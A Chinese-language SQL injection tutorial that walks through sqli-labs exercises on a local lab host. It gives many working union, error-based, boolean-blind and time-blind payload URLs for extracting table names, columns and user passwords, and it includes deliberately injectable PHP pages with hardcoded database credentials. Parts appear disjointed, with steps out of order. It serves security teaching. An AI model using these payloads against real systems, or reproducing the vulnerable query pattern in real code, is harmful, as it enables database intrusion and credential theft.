发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
URL:http://192.168.10.150/sqlilabs/Less-2/?id=1 order by 4--+
3)判断回显位 通过上面获取的列数量,对其进行联合查询。 Union select后面的1,2,3是通过上面获取的列的数量来进行添加的,若获取列的数量是4,那么就是union select 1,2,3,4。 同时在id=1的前面需要添加减号,使其不成立执行后面的语句,也就是?id=-1 union select 1,2,3–+
URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,2,3--+
URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
URL:http://192.168.10.150/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
1)判断注入点 ?id=1 and 1=1–+ 正常 ?id=1 and 1=2–+ 正常 到这里其实基本上可以判断不是数字型了,那么就需要按照我们上面提到的干扰字符进行测试,可以按照上述的字段判断一条一条测试。 ?id=1’ and 1=2–+ 不正常 运气很好习惯性的加入一个引号就闭合了。
URL:http://192.168.10.150/sqlilabs/Less-1/?id=1' and 1=2--+
2)判断注入类型 其实通过上面的判断就可以得知第一关是字符型。 3)判断字段数 order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。若输入数值为n时报错,那么表示没有n个字段,总的字段数为n-1。
URL:http://192.168.10.150/sqlilabs/Less-1/?id=1' order by 4--+
URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,2,3--+
5)确定数据库名 通过信息收集来判断数据库名,得知数据库名为:security。
URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,database(),version()--+
6)确定数据库的表名 由于版本>5.0,使用我们使用知识点中提到的方式进行查询。
URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
7)确定数据库的列名
URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
8)确定数据库的字段名
URL:http://192.168.10.150/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2--+
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+
如何猜测第三列第三个字母?
URL:http://192.168.10.150/sqlilabs/Less-5/?id=1' and ord(substr((select%20column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),3,1))=115--+
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length(database())=8,sleep(5),1)--+
4)猜测数据库名 猜测数据库名第一位
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
猜测数据库第二位
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+
5)猜测数据库表的数量
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if((select count(table_name) from information_schema.tables where table_schema = database())=4,sleep(5),1)--+
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1)--+
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
8)猜测数据库列的数量 Users中存在3列。
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1)--+
URL:http://192.168.10.150/sqlilabs/Less-8/?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(5),1)--+
<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa");
if(mysqli_connect_error())
{
echo "连接失败:" .mysqli_connect_error();
}
$id=$_GET[\'id\'];
if(preg_match("/union|sleep|benchmark/i",$id)){
exit("on");
}
$result=mysqli_query($con,"select * from users where `user_id`=".$id);
$row=mysqli_fetch_array($result);
if ($row) {
exit("yes");
}
else{
exit("no");
}
?>
在布尔盲注页面中,程序先获取GET参数id,通过preg_match()函数判断其中是否存在union sleep benchmark等危险字符。然后将参数id拼接到SQL语句,从数据库查询,如果有结果,返回yes,否则返回no。所以访问这个页面,代码根据查询结果返回只返回yes和no,不返回数据库中的任何结果,所以上一种的union注入在这里行不通。尝试利用布尔盲注。
布尔盲注是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断是成立的。例如,我们可以判断数据库名的长度构造语句如下。 and length(database())>=1 #依次增加,查看返回结果
通过上面的语句我们可以猜到数据库名长度为4。
接着使用逐字符判断的方式获取数据库库名,数据库库名范围一般都是az,字母09。构造语句如下。 and substr(database(),1,1)=要猜解的字母(转换成16进制)
substr是截取的意思,构造语句的含义是,截取database()的值,从第一个开始,每次返回一个。这里要注意,要和limit语句区分开,limit从0开始排序,substr从1开始排序。因为我知道数据库的第一个字母是d,所以直接换成d,转换成16进制就是0x64。结果如下。
在真实环境中,自己手工的话,工作量有点大,可以借助burp的爆破功能爆破要猜解的字母。
同样,也可以利用substr()来猜解表名和字段。构造语句 and substr((select table_name from information_schema.tables where table_schema=库名 limit 0,1),1,1)=要猜解的字母(这里指表名)
查看代码,在报错注入页面中,程序获取GET参数id后,将id拼接到SQL语句中查询,如果执行成功,就输出ok,如果出错,就通过echo mysqli_error($con)将错误信息输出到页面。我们可以利用这种错误回显,通过updatexml()、floor()等函数将我们要查询的内容显示到页面上。
例如,我们通过updatexml()获取user()的值,构造如下语句。 and updatexml(1,concat(0x7e,(select user()),0x7e),1) #0x7e是~16进制编码
发现查询出了user()的值
同样,我们也可以查询出database()的值 and updatexml(1,concat(0x7e,(select database()),0x7e),1) #0x7e是~16进制编码
查询出了数据库名
我们可以用这种方法查询出剩下的所有表名和字段,只需要构造相关的SQL语句就可以了。
时间盲注攻击
先看代码
<?php
$con=mysqli_connect("localhost","root","XFAICL1314","dvwa");
if (mysqli_connect_error())
{
echo "连接失败:".mysqli_error();
}
$id=$_GET[\'id\'];
if (preg_match("/union/i",$id)){
exit("<html><body>no</body></html>");
}
$result=mysqli_query($con,"select * from users where `user_id`=".$id);
$row=mysqli_fetch_array($result);
if ($row){
exit("<html><body>yes</body></html>");
}
else{
exit("<html><body>no</body></html>");
}
?>
查看代码,在时间盲注页面中,程序获取GET参数id,通过preg_match()函数判断是否存在union危险字符,然后将id拼接到SQL语句中,并带入数据库查询。如果有结果返回yes,没有结果返回no。不返回数据库中的任何数据。
它与布尔盲注的不同在于,时间盲注是利用sleep()或benchmark()等函数让执行时间变长。一般和if(expr1,expr2,expr3)结合使用,这里的if语句的含义为如果expr1为真,则if()返回expr2,否则返回expr3。所以判断数据库的长度,咱们构造的语句如下 if (length(database())>3,sleep(5),1) #判断数据库长度,如果大于3,休眠5秒,否则查询1
由上面图片,我们通过时间可以判断出,数据库的长度为4。
得到长度后,通过substr()来查询数据库的第一个字母,这里和布尔盲注很类似,构造如下语句。 and if (substr(database(),1,1)=库的第一个字母,sleep(5),1)